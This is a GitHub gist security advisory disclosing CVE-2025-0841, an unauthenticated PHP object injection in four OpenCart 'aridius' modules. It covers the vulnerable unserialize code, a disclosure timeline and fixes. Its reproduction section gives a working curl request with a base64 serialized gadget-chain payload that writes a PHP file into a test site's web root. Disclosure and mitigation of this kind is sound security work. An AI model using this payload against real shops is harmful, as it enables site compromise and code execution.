Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active April 4, 2025 11:50
Show Gist options
  • Select an option

  • Save mcdruid/52383f40d11becb79ce4033cb46546eb to your computer and use it in GitHub Desktop.

Select an option

Save mcdruid/52383f40d11becb79ce4033cb46546eb to your computer and use it in GitHub Desktop.
Aridius Opencart modules PHP Object Injection

Summary

Multiple OpenCart modules named aridius_XYZ have a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.

It is unclear which versions of Aridius extensions - if any - include the vulnerable code as the source code for the "official" versions is not open. It appears to be common for "unofficial" versions of the extensions to be used.

The vulnerability is exploitable remotely without authentication.

(POP/) Gadget Chains exist in OpenCart (3 and 4) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files or achieve Remote Code Execution.

Such an attack could result in the compromise of a site.

Timeline

  • 2025-01-17: mcdruid attempts to contact Aridius maintainer
  • 2025-01-21: Aridius maintainer confirms vulnerability was in an old version

Details of the Module

Vulnerability Classification

  • CWE-502: Deserialization of Untrusted Data
  • CAPEC-586: Object Injection
  • CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
  • CVE: CVE-2025-0841

Steps to Reproduce

The vulnerability can be exploited after the basic set up instructions included in the zip file have been followed, which copies the relevant controller files into place.

A malicious payload can be passed in an unauthenticated POST request - for example:

curl -s 'http://opencart3.ddev.site/index.php?route=extension/module/aridius_news/loadMore' -d 'setting=YToyOntpOjc7Tzo5OiJEQlxNeVNRTGkiOjE6e3M6MTA6ImNvbm5lY3Rpb24iO086NzoiU2Vzc2lvbiI6Mzp7czo3OiJhZGFwdG9yIjtPOjI2OiJUd2lnXENhY2hlXEZpbGVzeXN0ZW1DYWNoZSI6MDp7fXM6MTA6InNlc3Npb25faWQiO3M6NjoicGkucGhwIjtzOjQ6ImRhdGEiO3M6MTY6Ijw/cGhwIHBocGluZm8oKTsiO319aTo3O2k6Nzt9'

The payload should result in a simple php script containing a call to phpinfo being written out in the document root of the site:

$ curl -s 'http://opencart3.ddev.site/pi.php' | grep HTTP_HOST
<tr><td class="e">$_SERVER['HTTP_HOST']</td><td class="v">opencart3.ddev.site</td></tr>

A real attacker would no doubt inject something more malicious.

Vulnerable Code

4 modules have the same "loadMore" functionality provided by a JavaScript function in the template, and a corresponding function in the controller.

For example:

   <div id="load_moren" class="gridcount bestseller"><i class="gridcount_load fa fa-refresh fa-lg"></i><span class="gridcount2">{{ button_load }}</span></div>
</div>
<script>
   var module_idn = 1;
   var pr_alln = {{ product_total }};
   var pr_lastn = {{ last_page }};
   var pr_limitn = {{ limit }};
   if (pr_limitn >= pr_alln ) {
   $('#load_moren').hide();
   }
   $('#load_moren').click(function() {
   module_idn++;
   $.ajax({
   url:'index.php?route=extension/module/aridius_news/loadMore',
   type: 'post',
   data: 'page=' +  module_idn + '&module_id={{ module_id }}&setting={{ setting }}',

The value of the setting parameter is a base64 encoded serialized array:

  $data['setting'] = base64_encode(serialize($setting));

The method that handles the request passes that parameter to unserialize():

class ControllerExtensionModuleAridiusNews extends Controller {
  
    public function loadMore() {

    if (isset($this->request->post['setting'])) {
    $setting = unserialize(base64_decode($this->request->post['setting']));
    }

Almost exactly the same code is in 4 different modules:

catalog/view/theme/deluxe/template/extension/module/aridius_special.twig:203:   url:'index.php?route=extension/module/aridius_special/loadMore',
catalog/view/theme/deluxe/template/extension/module/aridius_news.twig:50:   url:'index.php?route=extension/module/aridius_news/loadMore',
catalog/view/theme/deluxe/template/extension/module/aridius_pr_review.twig:68:   url:'index.php?route=extension/module/aridius_pr_review/loadMore',
catalog/view/theme/deluxe/template/extension/module/aridius_products.twig:191:   url:'index.php?route=extension/module/aridius_products/loadMore',
catalog/controller/extension/module/aridius_products.php:6:             $setting = unserialize(base64_decode($this->request->post['setting']));
catalog/controller/extension/module/aridius_news.php:7:         $setting = unserialize(base64_decode($this->request->post['setting']));
catalog/controller/extension/module/aridius_pr_review.php:7:            $setting = unserialize(base64_decode($this->request->post['setting']));
catalog/controller/extension/module/aridius_special.php:7:              $setting = unserialize(base64_decode($this->request->post['setting']));

Mitigation

As it's not clear which extensions may include the vulnerable code, a simple way to check would be to search for the presence of the unserialize function.

The call to unserialize could be made safer by including the allowed_classes option to disable Object Injection:

https://www.php.net/manual/en/function.unserialize.php

For example:

$setting = unserialize(base64_decode($this->request->post['setting']), ['allowed_classes' => FALSE]);

A better mitigation would be to replace the use of serialization with json_encode and json_decode.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment